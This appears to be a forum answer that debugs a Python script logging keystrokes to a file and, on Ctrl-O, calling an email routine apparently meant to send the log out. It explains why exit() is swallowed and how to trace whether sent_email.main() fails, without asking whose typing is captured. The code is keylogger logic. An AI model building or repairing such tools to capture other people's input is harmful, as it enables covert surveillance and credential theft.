By the looks of it, the code will never exit. This block...
try:
global log
if event.Ascii == 27:
log = "[ESC]"
elif event.Ascii == 8:
log = "[Backspace]"
elif event.Ascii == 15:
openfile.close()
sent_email.main()
exit()
elif event.Ascii == 13:
log = "\n"
elif event.Ascii == 0:
log = ""
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
...where you call exit()
if event.Ascii == 15
won't work, because the way exit()
works in Python is to raise a SystemExit
exception, which will be caught by your bare except:
clause, and be ignored.
You probably need to change except:
to except Exception:
so it will catch all exceptions except for SystemExit
and KeyboardInterrupt
- the latter being what Python generates when you press CTRL-C.
Other than that, I don't see anything wrong with that code block.
Update
The idea is for the code not to exit unless you close the command window.
Okay.
I just cannot understand why it does not send the email.
Well, the other problem with using a bare except:
clause the way you do, is that it masks unexpected exceptions. I'd suggest temporarily changing the code...
except:
pass
...to...
except:
raise
...just to check the call to sent_email.main()
isn't raising an exception.
If that's not the problem, are you sure the elif event.Ascii == 15:
block is ever getting called - it's kind of a weird case (CTRL-O).
Maybe you should add some print
statements in there to see what's happening - something like...
elif event.Ascii == 15:
print "Got ASCII 15 - closing file"
openfile.close()
print "About to send email"
sent_email.main()
print "About to exit"
exit()